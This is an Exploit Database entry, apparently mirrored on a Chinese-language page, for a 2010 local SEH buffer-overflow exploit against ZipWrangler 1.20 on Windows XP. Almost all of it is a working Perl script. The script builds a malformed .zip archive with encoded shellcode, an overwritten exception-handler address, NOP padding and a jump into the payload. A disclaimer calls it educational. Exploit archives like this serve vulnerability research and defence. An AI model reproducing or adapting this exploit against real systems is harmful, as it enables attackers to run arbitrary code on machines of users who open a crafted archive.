ZipWrangler 1.20 – ‘.zip’ File (SEH)

• Exploit Database
• 14 阅读

• 作者： TecR0c & Sud0
  日期： 2010-04-24
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/12368/

• #!/usr/bin/perl
  # Title:ZipWrangler 1.20 (.zip) SEH 0day exploit
  # Author: TecR0c & Sud0
  # Date: April 24th, 2010
  # Corelan Reference:http://www.corelan.be:8800/advisories.php?id=CORELAN-10-031
  # Download: http://www.softpedia.com/get/Compression-tools/ZipWrangler.shtml
  # Platform: Windows XP sp3 En (VMWARE)
  # Greetz to:Corelan Security Team
  # http://www.corelan.be:8800/index.php/security/corelan-team-members/
  #
  # Script provided 'as is', without any warranty.
  # Use for educational purposes only.
  # Do not use this code to do anything illegal !
  # Corelan does not want anyone to use this script
  # for malicious and/or illegal purposes.
  # Corelan cannot be held responsible for any illegal use.
  #
  # Note : you are not allowed to edit/modify this code.
  # If you do, Corelan cannot be held responsible for any damages this may cause.
  
  print "|-------------------------------------------------------------------|\n";
  print "| __ __ |\n";
  print "| _________________/ /___ _____ / /________ _____ ___ |\n";
  print "|/ ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \|\n";
  print "| / /__/ /_/ / //__/ / /_/ / / / // /_/__/ /_/ / / / / / /|\n";
  print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |\n";
  print "| |\n";
  print "| http://www.corelan.be:8800|\n";
  print "|security@corelan.be|\n";
  print "| |\n";
  print "|-------------------------------------------------[ EIP Hunters ]---|\n";
  print "[+] ZipWrangler 1.2 (.zip) SEH exploit\n";
  
  
  
  my $ldf_header = "\x50\x4B\x03\x04". # local signature
  "\x14\x00". # version minimum needed to extract
  "\x00\x00". #general purpose bit flag
  "\x00\x00". #compression method
  "\xB7\xAC". #file last modification time
  "\xCE\x34". # file last modification date
  "\x00\x00\x00\x00". #CRC32
  "\x00\x00\x00\x00". #Compressed size
  "\x00\x00\x00\x00" . #Uncompressed Size
  "\x48\x10" .# filename length E4 0F
  "\x00\x00"; #Extra filed length
  
  
  my $cdf_header = "\x50\x4B\x01\x02". #Signature
  "\x14\x00".#version made by
  "\x14\x00".#version needed to extract
  "\x00\x00".#general purpose bit flag
  "\x00\x00".#Compression method
  "\xB7\xAC".#File last modification time
  "\xCE\x34".#File last modification date
  "\x00\x00\x00\x00". #CRC32
  "\x00\x00\x00\x00".#Compressed Size
  "\x00\x00\x00\x00".#Uncompressed Size#
  "\x48\x10". # filename length
  "\x00\x00". #Extra Field Length
  "\x00\x00". #File comment length
  "\x00\x00". #Disk number where File starts
  "\x01\x00". #Internal File Attributes
  "\x24\x00\x00\x00". #External File Attributes
  "\x00\x00\x00\x00"; #Relative offset of local file header;
  
  my $eofcdf_header = "\x50\x4B\x05\x06". #End of central Directory Signature
  "\x00\x00". #Number of this disk
  "\x00\x00". #Disk where central directory starts
  "\x01\x00". #Number of central directory records on this Disk
  "\x01\x00". #Total Number of central directory records
  "\x76\x10\x00\x00". #Size of central directory (bytes) (central directory header size + payload)
  "\x66\x10\x00\x00". # Offset of start of central directory, relative to start archive(lfh + payload)
  "\x00\x00"; #Zip file Comment length;
  
  #mov edx, ds :[EAX] ---> the address 0x7FFDFD0C = 00000 in DS
  #so EDX=0000, next instruction TEST EDX,EDX/ Jz xxxxxx (will bypass the error due to mov ECX, ds:[edx])
  #the jump will take us to a retn (so we are out from handler routine) --> come back to execution
  #0x77E9025B [rpcrt4.dll] will overwrite EIP after being back from exception
  #bingo , after \xEB\x06 we are in our \xcc
  # shell = message box eax e
  
  my $shell="PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8" .
  "ABuJIn9JKmK9IT4tdl4tqzrmbpzUaIYcTNkpqfPlKD66lNkpvwlLKsvgx" .
  "lKsNepNkEf4xpO4XPul3qIs1KaKOKQapLK2LgT14lKsuUlNkpTgurX6aZ" .
  "JLK1ZwhLKCjepUQzKm3p7W9LKp4nkwqzNp1kOvQKpKLLlmTo0BTTJZahO4" .
  "MuQKwxihqKOKOIoWKQlQ4Ux2UyNNkcjq4uQJKsVNk6lpKnkrzuL5QXkLKV" .
  "dNkWqM8K9qT5tglE1XC82C8EyYDNi8eMY9RCXlNpN4NhlbryxMLKOKOKOl" .
  "IqUfdOKQnN8YrPsMW7lddV2KXlKIoyoKOoycueXQxplPlEpkO3XP3VRfNu" .
  "4qxpupscUcBK8qLutWzOyIvpVyoaEETMYO2pPMkoXY22mOLOwwlWTf2kXa" .
  "NKOYokOSXPlpapnV83XQsbOT255P1kkoxaLQ4TGniKSBHQtShWPUpax0op" .
  "iCD55PhpeqhRPbLUaJiNh2lEteYOykQdqKbSbQCv12rKOXP6QO0pPKOSeV" .
  "h5ZA";
  
  my $shellcode="A" x 2 . $shell . "A" x (4080-2-length($shell)) . "\x0C\xFD\xFD\x7F" . "\x90" x 4 . "\x5b\x02\xe9\x77" . "\x90" x 8 . "\x83\xC0\x16\xFF\xE0"."\xcc" x 59;
  my $filename="wrangler.zip";
  
  my $payload = $shellcode . ".txt";
  
  print "Size : " . length($payload)."\n";
  print "Removing old $filename file\n";
  system("del $filename");
  print "Creating new $filename file\n";
  open(FILE, ">$filename");
  
  print FILE $ldf_header . $payload . $cdf_header . $payload . $eofcdf_header;
  close(FILE);